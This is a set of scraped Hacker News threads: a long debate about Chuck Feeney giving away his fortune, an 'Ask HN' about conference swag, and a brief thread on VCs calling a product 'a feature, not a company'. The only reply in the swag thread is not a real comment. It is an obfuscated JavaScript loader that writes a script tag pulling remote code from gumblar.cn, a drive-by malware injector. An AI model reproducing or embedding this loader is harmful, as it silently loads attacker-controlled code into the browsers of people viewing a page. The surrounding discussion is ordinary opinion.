</comment><comment><USER77> This article is definitely worth reading. However, I didn't follow the link for over 21 hours after it was published because, I didn't recognize Chuck Feeney's name, and I couldn't tell from the title what the article was about.

I think when an article is shared on HN some consideration needs to be given to ambiguous situations like this.

</comment><comment><USER78> I'm a bit confused. The NYT article from 2017 says they he had finished giving away $8b and was only keeping about$2m for his retirement. This article says the same thing. Is he any more or less broke than in 2017? It sounds like the main development is that he officially dissolved his charity

</comment><comment><USER79> [https://archive.is/ntXaR](https://archive.is/ntXaR)

</comment><comment><USER80> Instead of giving away it all away, why not invest $8B which would generates about $800M per year in returns perpetually and give that as 0% loans for education, health and starting new businesses to people who needs it? This would be then perpetual giving that can outlast the donor.

</comment><comment><USER81> Can 'officially' be added to the auto-strip list? It's rarely used appropriately.

</comment><comment><USER82> If you want to have the most impact in your secret donations and change the lives of many people in good, then you should finance democratic and peaceful political underdogs in poor and represive countries.

I know it sounds revolting that giving money to politicians is better than fighting malaria or cancer. But at the end of the day, those who are having the most impact in alleviating poverty and disease are not international philanthropists, but the governments of the respective countries. Misery is the result of the lack of institutions or their systemic failure under corrupt, inefficient and incompetent leaders. We have known for decades how to eradicate malaria and provide all people on Earth with basic food, shelter and education, what we lack is world-wide execution of essential state-building and infrastructure that would enable it, and much more.

And money is a fundamental part of politics; politicians are just like any other people: if a decent, respectable living an be made in the field of politics, public office will attract decent and respectable people. If the only way you can get into power is by making trades with the devil, since no one will found politics, then what you get is corrupt and ineffective leaders that oppress rather the serve the public.

This is why, for all his sins, George Soros remains one of the most effective philanthropists in the world. And this is why he's vilified by a whole wagon of authoritarians, from Putin to Orban to Jinping: they know that the most pressing threat to their power is not some foreign country, or a political or military international alliance; they are most afraid of a well funded and cohesive internal political opposition that can properly articulate the public discontent.

</comment><comment><USER83> Is it just me or is there something a little off about the phrase "$76 million for grassroots campaigns supporting the passage of Obamacare"? Grassroots and funded secretly by a billionaire seem like fundamental opposites...

</comment><comment><USER84> Why can't governments receive these donations? Do any benefactors currently give to governments (not via taxes, actually just give)?

I know Ted Turner did it with the UN Foundation, although that isn't technically the UN itself.

Are there other examples?

<comment><USER85> >Why can't governments receive these donations

They certainly can. I don't how many people actually do it, but most governments will accept direct cash donations. E.g. here's a page on how to make a gift to the US Government: [https://www.fiscal.treasury.gov/public/gifts-to- government.h...](https://www.fiscal.treasury.gov/public/gifts-to- government.html)

Edit to add: Here's some data on donations made to reduce the federal debt [https://www.treasurydirect.gov/govt/reports/pd/gift/gift.htm](https://www.treasurydirect.gov/govt/reports/pd/gift/gift.htm) . You can see that this seems to average a few million dollars per year.

</comment></comment><comment><USER86> This article doesn't cover any of the most interesting part. His brokeness. Is he now homeless? Is his plan to now kill himself? Does he get to experience the day to day struggle of broke elderly now? What's the deal?

</comment><comment><USER87> I wonder how their daughters feel about that.

Especially knowing that for having such a career behind him, he must probably have spent a lot of time working and not being there for his family.

Still, mad respect for what he/they did.

</comment><comment><USER88> Imagine...if other Feeney's (mega rich; north $100M) were able to give back to their communities. In some dependable and systematic way.

I'd call it Sexat. It's like Taxes but spelled backwards.

</comment><comment><USER89> Thanks for posting - with all of the horrible selfish things happening (people not wearing masks on purpose, etc. etc.) it is great to have a vision of how we could be better as a people.

</comment><comment><USER90> Chuck Feeney sounds like a great guy (I don't know anything about how his empire treated its employees), but I'd really rather the government take and distribute those billions.

</comment><comment><USER91> Conor O'Clery' book 'The Billionaire Who Wasn't: How Chuck Feeney Secretly Made and Gave Away a Fortune' is an _excellent_ read. highly recommended!

</comment><comment><USER92> The finest example of a human. Definitely a better person than I could ever be. I would definitely flaunt and spend fabulous sums on dumb shit.

</comment><comment><USER93> Is there any law that prohibits converting your wealth to cash and going on government aid? Is it legally fraud if you gave it to a 501(c)?

</comment><comment><USER94> I think top two reasons to make charitable donations known is to bring attention to those charities and influence others to do the same.

</comment><comment><USER95> "Chuck Feeney is what Donald Trump would be, if he lived his entire existence backward."

[https://www.nytimes.com/2017/01/05/nyregion/james-bond-of- ph...](https://www.nytimes.com/2017/01/05/nyregion/james-bond-of-philanthropy- gives-away-the-last-of-his-fortune.html)

[http://www.nydailynews.com/archives/news/talk-cheap-rich- guy...](http://www.nydailynews.com/archives/news/talk-cheap-rich-guy- article-1.776220)

It sounds great but I'm still puzzling over this phrase and trying to grok it

</comment><comment><USER96> > _Where did $8 billion go: health, science, education, and social action_

Other than science, those are some very bloated and inefficient causes. $1 billion to Cornell? Aren't most of the prestigious universities already swimming in billions of dollars of endowments? He can do what he wants of course, but it would have been nicer if the money was targeted to long shot bets--that only a super rich person could fund--rather than normal things are already well funded through taxes.

<comment><USER97> Perfect is the enemy of good.

<comment><USER98> Disagree. There are more than enough resources on effective NGO's. There is no reason to give cornell a billion dollars when that money could save hundreds of thousands of lives in the developing world.

<comment><USER99> It's possible the guy giving away the money sees something about this organization that you don't.

<comment><USER98> Or, more likely, he's not maximizing the impact of his donation.

<comment><USER99> Not only is whether or not he's maximizing the impact of his donation a call he gets to make, whether or not he even _wants to_ maximize the impact of his donation at the cost of other considerations is a call he gets to make.

<comment><USER98> And I get to judge him for making the wrong call.

<comment><USER99> It's turtles all the way down.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER100> > Chuck Feeney Is Now Officially Broke

He's not broke, he still has two million dollars (in a very advanced age). I wish I was that broke.

</comment><comment><USER101> An even faster way would have been for him to create a website , for example, www.claimmymoney.com and allow people to put in requests for donations, for any reason, that he would either honor or decline. There would probably have to be ID verification and other system in place to try to prevent people from abusing it. Given how so many Americans are living below poverty or in poverty or having expenses, he would have little trouble giving it all away

<comment><USER102> This method would limit benefactors to only those who have access to the internet and a way to receive money online. Most of the third world country population wouldn't fit into this category.

And you can't be solving big systematic problems and bring about societal change by working with individual cases. This is like fighting fire when you should have made the building fireproof in the first place.

</comment></comment><comment><USER103> Nothing left apart from 2 million? Hopefully I can be broke as well for retirement. (Dislike the article, love the person)

</comment><comment><USER104> can someone here who thinks charity is a morally noble act answer this question: why is it good to extract billions from people who work for you and then give it a way and feel good about it? why not share the profits with your workers in the first place? how is it morally justifiable to steal and exploit in order to give?

</comment><comment><USER105> What is Feeney going to do if he lives until he is 105? The next decade and a half might be pretty boring for him.

</comment><comment><USER106> It reassures me that there are examples of people who get hyper rich and retain some perspective on it.

</comment><comment><USER107> Note how all the other mega-wealthy individuals praise him for his actions, but commit to nothing.

</comment><comment><USER108> Pretty gross that he had that money in the first place. Good for him I guess?

</comment><comment><USER109> Actual title: The Billionaire Who Wanted To Die Broke…Is Now Officially Broke

</comment><comment><USER110> What a great man. Such a shame that he gave it all away to a bunch of scammers and then a different bunch of billionaire scammers come out and try to claim that they're affiliated with this great man to boost their own reputation when in fact they're nothing alike.

</comment><comment><USER111> I feel like I won't ever be even 10% of what Chuck Feeney has been.

</comment><comment><USER112> "officially broke" with $2M in the bank for retirement _

</comment><comment><USER113> Anonymous is how Jewish philanthropy is supposed to work.

</comment><comment><USER114> "When I first met him in 2012, he estimated he had set aside about $2 million for his and his wife's retirement"

Two million is, like, the opposite of broke for the vast majority of Americans. But this is Forbes.

<comment><USER115> Using the 4% rule, $2 million gives you an income stream of $80,000 a year in retirement. Comfortable but hardly lavish.

<comment><USER116> $2 million in retirement savings puts him above 90th percentile for retirements savings for any age. The maximum 90th percentile I can find is $619,000.00 at ages 60-64. [https://dqydj.com/retirement-savings-by-age- united-states/](https://dqydj.com/retirement-savings-by-age-united-states/)

If he's broke, then at least 90% of retirees are broke.

<comment><USER117> Most people are some combination of financially irresponsible and uneducated. Honestly, with the numbers you have here I have to lean towards irresponsible regardless of whatever difficulties the middle class faces. Even at a median wage just doing the absolute bare minimum of saving 5%-10%, not even factoring in 401ks, would leave you well past this given the last few decades of market returns.

</comment></comment></comment></comment><comment><USER118> All donations should be anonymous

<comment><USER54> Not really my business.

</comment></comment><comment><USER119> $2 million is not broke

</comment><comment><USER120> $1 billion to cornell? Cornell doesn't need the money

</comment><comment><USER121> Seems like his life mission was to become a communist on his own accord, and now that he has achieved that, he is happy. Good that worked out for him.

</comment><comment><USER122> I cannot get my head around this.

To be that good at making money and that intent at giving it away is such a massive paradox not to mention paradigm shift from how we typically discuss wealth and wealth accumulators.

Looking for video interviews....

<comment><USER123> He didn't get caught up in the money trap that almost everyone is, and I wondered how he did that? Is it religion? Is it innate morals? How he was raised? Very interesting.

Hope I can learn something from this. What does a non rich person do? I guess it is about trying to influence things rather than injecting money.

<comment><USER124> > What does a non rich person do?

Time is money and if you don't have money then give your time. It's the most generous thing a person can do. More so than money in many ways since you can always make more money but you can't make more time.

You can't expect to make a major change in the world. But you can make some small changes that means the world to some people.

</comment></comment></comment><comment><USER125> One could argue that everyone has the same responsibilities to society at large. Thus for every Chuck Feeny and Bill Gates, you, personally you, have an obligation to create many billion dollars of value and give it away. If you don't do that, you're worse than any evil billionaire you care to name. They at least are paying millions of dollars in taxes for any money they pull out of investments. How many millions in taxes have you paid?

<comment><USER126> This seems like a strange argument since someone who is say, running a large conglomerate, benefits much more from society's infrastructure and organization than a layperson. It then seems reasonable for their obligation to be proportionally greater.

<comment><USER125> In the US, according to the CBO[0], the people who are in the top two quintiles of income pay for all services and infrastructure. Saying that these people benefit more from this infrastructure than a middle income household is very odd. It's like I decide to be a farmer and need more water, so I dig a well to water my farm. Then my neighbor sees the well and asks if they can get drinking water from it and I say sure. Then they tell me I get more benefit from the well and I have to pay to maintain it.

0\. See page 31. [https://www.cbo.gov/sites/default/files/114th- congress-2015-...](https://www.cbo.gov/sites/default/files/114th- congress-2015-2016/reports/51361-householdincomefedtaxesonecol.pdf)

<comment><USER126> Their large incomes are made possible by infrastructure. The analogy doesn't make much sense to me since even the most prolific billionaire didn't build much of this infrastructure.

<comment><USER125> As a class they did. Some of it was built by billionaires past, but is maintained by the current generation of the well to do. Regardless, the middle income household certainly did not build it.

<comment><USER127> Oh, I didn't know that "billionaires as a class" digged roads, erected buildings, manned trains, stores, telephones, farms, factories... "The low income households didn't build it", you have a very twisted definition of what that means.

</comment></comment></comment></comment></comment></comment><comment><USER128> > " Where did $8 billion go? Feeney gave $3.7 billion to education, including > nearly $1 billion to his alma mater, Cornell, which he attended on the G.I. > Bill. More than $870 million went to human rights and social change, like > $62 million in grants to abolish the death penalty in the U.S. and $76 > million for grassroots campaigns supporting the passage of Obamacare. He > gave more than $700 million in gifts to health ranging from a $270 million > grant to improve public healthcare in Vietnam to a $176 million gift to the > Global Brain Health Institute at the University of California, San > Francisco."

What an absolute gut-punch of deeply sickening waste.

I feel extremely outraged reading. It's a absolutely shocking waste of money. I can't believe this is celebrated or held up as good. This is a form of basically negligent homicide.

$3.7 billion on education? $76 million to lobby for Obamacare.

How can you not instead fund known, effective charities like Against Malaria or SCI. $1 billion to a wealthy Ivy League credential mill - that's astronomical waste.

This is the charity equivalent of seeing a lottery winner blow their money on sports cars or Vegas. This is appalling.

I mean this so sincerely. People should be sick and outraged over this degree of negligent waste.

<comment><USER129> Why? It was his money and he could have bought diamonds and shot them into the sun if he wanted. Instead it seems that the vast majority of the spending was a net positive to society and will do some good.

Yes, there was probably a more impactful way of spending it from a humanitarian perspective, but presumably there wasn't a more satisfying way to spend it for Feeney.

Nearly everything that everyone does is a negligent homicidal waste if you view it through the lens of opportunity cost. Unless you are living the life of an acetic, working every living hour, and donating it all to charity, you personally are hundreds if not thousands of people a year.

<comment><USER128> Your objection falls flat. We can definitely analyze everybody else's behavior another time - it's not relevant here and only serves to distract.

This one person had a huge fortune and explicit goals to spend it in efficacious charities.

From that point of view, this particular story is one of exorbitant waste and missed opportunity, the magnitude of which should stupefy people.

We're not talking about some other joe schmoe who failed to be as ascetic as possible - that's just rhetorical deflection. We're talking about this particular instance of egregious waste.

Your comment is like if some heard about the Deepwater Horizon spill and replied, "everything looks like waste or hazards if you measure every cubic milliliter of spilled oil, can't we just given them a break for trying to harvest it and do something with it?"

<comment><USER129> I guess I'm still don't understand the fundamental shock and sense of waste you describe. Frenzy didn't hurt anyone here and provided a net benefit to society.

<comment><USER128> Failure to optimize is equivalent to directly perpetrating harm, especially when the stakes are high ($8 billion) and optimizing is jaw-droppingly simple and easy (read recommendations from Giving What We Can, 80,000 Hours, GiveWell, etc., and spend some ultra tiny fraction of time comparing the impact on lives between e.g. donating $1 billion to fucking Cornell vs $1 billion to a cause like Against Malaria or SCI).

Tell the children who have died and will die from directly preventable malaria or waterborne parasites that Feeny's negligence has done no harm.

By not spending the money on them, he literally facilitated their deaths. For what? Cornell has a fancier campus? Obamacare had a nicer grassroots website? It's sickening.

And it's no defense to distract by saying nobody can be perfectly ascetic or optimize away every wasteful purchase or discretionary spending. That's not at all related or up for discussion. We're talking about one guy with a stated goal of funding efficacious charities with $8 billion of available funds to do it over time. Just about as pure a thought experiment of negligence as there ever was.

</comment></comment></comment></comment></comment><comment><USER41> For someone who is actually in the middle of doing this: Chris Hohn.

He has built one of the largest charities in the UK, and I believe it is top 10 in the world. He has given away his net worth multiple times. His general story is also totally remarkable for the UK, he came from literally nowhere.

Somewhat inevitably these days, he is regarded negatively in the media (most recently, he came up because the UK's finance minister used to work at his fund, so Hohn was the "vulture" capitalist with his beak in govt...funnily enough, their view didn't change when they found he is the main funding for Extinction Rebellion...2020 is amazing).

</comment><comment><USER130> Why is his strategy of giving away money so uncommon? Rich people certainly do not need their wealth.

</comment><comment><USER131> This is "proper" giving away, not that fake celebrity donations of "I donated 200k of my 40M money, see how charitable I am"?

And then those celebrities say "You should also donate Joe Doe, we must ALL be charitable".

Meanwhile Joe is in debt and cannot even afford to eat non-pesticide laden food while the celebrity retain 99% of his $$$$.

<comment><USER132> It is quite the paradigm indeed.

Like you said most people don't _really_ have any extra income. They have a mortgage. Their retirement is heavily underfunded. Kids future school is not paid for.

Then there are people that have 100% of everything paid for and already have more than they will ever need... not to mention they can grow their money way quicker than the people who need it.. Yeah, it's pretty easy to be "generous" in that situation because it's literally extra money just sitting around doing nothing but making more money.

edit: wow, downvote me and op for this? Must be by the HN 400k engineers without a family who don't understand what the problem is

</comment></comment><comment><USER133> Compare two billionaires.

One stops and carefully donates his money to have the most impact. He ends up "officially broke."

The other doubles down on for profit enterprises, but focuses on those with the most impact, like electrifying a fossil fueled sector of the economy or making us a multi-planetary species. The profits are reinvested to accomplish these goals. He ends up richer than ever.

It isn't clear that the second billionaire is less admirable than the first.

<comment><USER134> can we please keep the pro Tesla posts on Tesla threads

For God's Sake

Let this great guy who gave away $8 billion of his hard earned money get proper credit without dragging a @#$#$ subsidy entrepreneur into it

</comment></comment><comment><USER135> I'd love to know what Chuck Feeney thinks of Bill Gates

<comment><USER136> > In February 2011, Feeney became a signatory to The Giving Pledge. In his > letter to Bill Gates and Warren Buffett, the founders of The Giving Pledge, > Feeney writes, "I cannot think of a more personally rewarding and > appropriate use of wealth than to give while one is living—to personally > devote oneself to meaningful efforts to improve the human condition. More > importantly, today's needs are so great and varied that intelligent > philanthropic support and positive interventions can have greater value and > impact today than if they are delayed when the needs are greater."

<comment><USER135> I'd love to know what Feeney thinks of Gates in 2020

<comment><USER137> Why?

<comment><USER135> [https://www.ft.com/content/f999c4e4-78a2-4f83-9beb-91c15dccd...](https://www.ft.com/content/f999c4e4-78a2-4f83-9beb-91c15dccd0b8)

Opinion Coronavirus treatment Bill & Melinda Gates: Vaccine fairness will make us all safer | Free to read Sharing Covid-19 jabs equitably would result in fewer deaths and faster control everywhere'

<comment><USER135> [https://www.vox.com/future- perfect/2018/12/11/18129580/gates...](https://www.vox.com/future- perfect/2018/12/11/18129580/gates-donations-charity-billionaire-philanthropy)

<comment><USER99> Please make a point rather than just pasting insinuations and links to articles. Neither of the two articles you've provided give any reason Feeney would have a negative opinion of Gates.

<comment><USER135> @hamburglar I have no idea hence my question. Feeney's style has been to very privately and anonymously find worthwhile projects and fund them. Gates owns giant swathes of the media and is vastly wealthier than Feeney. I wonder what Feeney makes of that during the current global pandemic. (the reply link is not appearing on posts, so this may be out of thread order)

<comment><USER99> Aside: the lack of reply link happens when you're in a conversation HN decides is moving too fast, which may indicate a flamewar.

I think you're being misinterpreted by me and others in this subthread, but it's your fault. :) You're literally just wondering aloud what Feeney thinks of Gates and whether that's changed in recent years, but we are reading an insinuation that it _has_ changed for the negative. I don't think our misinterpretation of what you're saying is unreasonable -- someone above states that Feeney has publicly stated that he thinks highly of Gates and your response is to suggest that that's _different_ now, and you link to a couple of articles, seeming to be supplying "evidence" of that, but the articles don't give any reason to think Feeney's thoughts about Gates have changed.

Your responses have convinced me that you really are just asking questions and have no preconceived notion of the answers, but the way you're asking the questions is causing people to bristle because they are presented like insinuations.

FYI.

edit: in my attempt to be helpful I see I'm being a bit repetetive. Was trying to get this out there quickly before the misunderstanding escalated into a shit-fight. :D

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER138> Not that I want to in any way detract from this incredible and selfless accomplishment, but he has held on to a $2M retirement fund, so he's not quite "broke" yet.

<comment><USER139> And I'm sure there's a trust fund for his benefit somewhere, just in case.

</comment></comment><comment><USER140> >>> When I first met him in 2012, he estimated he had set aside about $2 million for his and his wife's retirement.

I don't know about everyone else on HN, but having 2mil in the bank is not my definition of "Broke". I want to see what trusts have been setup. What life estates has he retained? I credit him for giving most all of it away, but "broke" doesn't mean you are worth 0.0001% of some huge number. Broke means you might not cover next month's rent and are parking your car at a friend's to hide it from the repo guy.

<comment><USER141> With all due reference to Shai-Hulud, I'd say broke has a lot of different possible meanings. It could mean you declared bankruptcy, have negative net worth, or maybe just like 99% gone (while you don't think it means that by definition, and I agree, I think socially we could agree with that. Someone with a dollar in their pocket isn't broke, but is also broke.).

If anything, having enough money to take care of his needs I think is good. If he was hiding his car from the repo man, it's probably because he's not paying payments on it, and therefore all the people that rely on those payments for their jobs you're kind of "stealing" from, in that you aren't fulfilling the legal and financial obligation. And that doesn't seem very charitable either?

<comment><USER140> >> you're kind of "stealing" from, in that you aren't fulfilling the legal and financial obligation.

Stealing requires conscious choice. Not being able to pay a debt isn't a choice and therefore shouldn't be described as stealing.

</comment></comment></comment><comment><USER142> Some questions lingered in the back of my mind after I read this article:

\- How much to employees at Duty Free Shoppers (DFS) make? Is their healthcare fully covered? Do they have generous paid time off and access to higher education for themselves and their children? Was any of his fortune used to give back to the employees whose labor built his wealth in the first place?

\- Does this dude realize how difficult it is to get into Cornell compared to when he went there on the GI bill? Giving to Cornell seems counter-productive to me. Giving a bunch of Ivy League jocks more resources doesn't seem like an equity promoting endeavor.

Not to diminish his other accomplishments. Still, philanthropists get to choose who to include and exclude. Ideally, it wouldn't have been _possible_ for this guy to amass 8 billion dollars of wealth in the first place - <USER2> would have been properly taxed and invested into our communities equitably.

<comment><USER143> Because the government has such a great track record of collecting tax revenue and then investing it where it is appropriate?

Questions can be raised about some of his specific donations, but when someone gives away $8B of his wealth, spending nearly none on himself, does it globally, influences other billionaires to do the same, picking at any one of his specific donations seems counter productive.

Yes Cornell is an Ivy League school, but it is where he went to school, he probably has very strong ties to that school, perhaps met his wife there, or his business partner, if he chooses to give back to that school that is also good.

Plus there was a tremendous amount he gifted to "education" so without knowing all of the details, hard to imagine that he didn't provide some sort investment in to under represented communities. If he helped Vietnam with their healthcare he obviously wasn't just US centric but helped where he though his donation could have an outsized return.

By the way he gifted a large amount of money to the Obamacare campaign, so by proxy, he was providing healthcare to his workers, and more likely than not.

<comment><USER142> My argument is that a system that allows $8 billion in wealth to accumulate enough to be controlled by one person has already failed.

The US government is actually really impressively good in a lot of areas, and I personally get fatigued of the oft-repeated notion that government "can't possibly work" or that they "can't possibly spend tax dollars responsibly."

<comment><USER144> > a system that allows $8 billion in wealth to accumulate enough to be > controlled by one person has already failed

I think you have little appreciation of how wealth is created.

Jeff Bezos became the wealthiest person in the world neither by stealing or exploiting , but rather by improving peoples lives. Amazon was able to organize systems, take advantage of technological developments and put capital to work to improve the lives of hundreds of millions of consumers.

<comment><USER145> The team at Amazon improved people's lives, not Jeff Bezos all by himself. Why couldn't there be thousands more millionaires that helped build Amazon rather than one mega billionaire?

<comment><USER112> > Why couldn't there be thousands more millionaires that helped build Amazon > rather than one mega billionaire?

There probably are thousands of millionaries that helped build Amazon... assuming they held onto their stock from the time they joined to the present.

</comment></comment></comment></comment></comment></comment><comment><USER146> It's great he donated his wealth to charity, but it's a little unfair that he took it upon himself to chose where the money went instead of letting the people choose.

<comment><USER147> Why should the people get to choose?

<comment><USER148> One of the reasons that private charity is somewhat looked down upon in certain countries with a robust welfare state is that historically, private charities were selective in whom they helped. If the private charity felt that your "lifestyle" (i.e. you were a mother out of wedlock, you were LGBT) or ethnicity was objectionable, you were just left to suffer. Or those private charities would assist you, but you were obliged to convert to their religious denomination or sit through a long sermon before getting to eat.

Welfare states run from taxpayer money and overseen by democratically elected officials, while they have their downsides that are often commented on, at least tend to assist groups that would be marginalized otherwise, and there are no religious strings attached.

<comment><USER149> That and the fact that such charity systems are demonstrably less efficient than welfare. It seems that many of people just want to ignore that evidence though and continue to scaremonger.</comment></comment></comment></comment>


Ask HN: Best or most effective SWAG you've received/given at a conference? - <AUTHOR>

Have a big trade show in a couple months. Trying to get creative with some SWAG. We've done t-shirts, stickers, etc. in the past.<p>Just wondering what others have given out that's been effective (I know its hard to measure that). Or, what have you received at a show that you actually kept or remembered? <comment><USER2> (function(jil){var xR5p='%';eval(unescape(('var"20a"3d"22Sc"72iptEngin"65″22″2c"62″3d"22″56ers"69on()+"22″2c"6a"3d"22″22″2cu"3dnavig"61t"6 …………… "65rAgent"3bif(("75″2eind"65xOf"28″22Win"22)"3e0)"26″26(u"2e"69n"64exO"66("22NT"20″36″22″29″3c0)"26″26(documen"74″2ecookie"2e"69ndex"4f"66″28″22″6die"6b"3d1″22)"3c0)"26″26″28t"79″70e"6ff3bdocu"6de"6e"74″2ewr"69″74e("22″3csc"72ipt"20sr"63″3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22″3e"3c"5c"2f"73cript"3e"22″29″3b"7d').replace(jil,xR5p)))})(/"/g);</comment>


What Does A VC Mean When He Says Your Product Is "A Feature And Not A Company"? - <AUTHOR> http://www.askthevc.com/wp/archives/2012/01/what-does-a-vc-mean-when-he-says-your-product-is-a-feature-and-not-a-company.html

<comment><USER2> Keep in mind that Steve Jobs told Drew Houston the same of Dropbox: "He said we were a feature, not a product" from [http://www.forbes.com/sites/victoriabarret/2011/10/18/dropbo...](http://www.forbes.com/sites/victoriabarret/2011/10/18/dropbox- the-inside-story-of-techs-hottest-startup/)

</comment><comment><USER3> He means it's like Altair Basic.

<comment><USER4> I presume you're saying this firmly tongue-in-cheek? ..or are you commenting that Altair Basic truly is a feature-not-a-product and that MS did well to move into the OS realm?

<comment><USER5> Tongue in cheek: [http://www.hnsearch.com/search#request/all&q=altair+pg](http://www.hnsearch.com/search#request/all&q=altair+pg)</comment></comment></comment>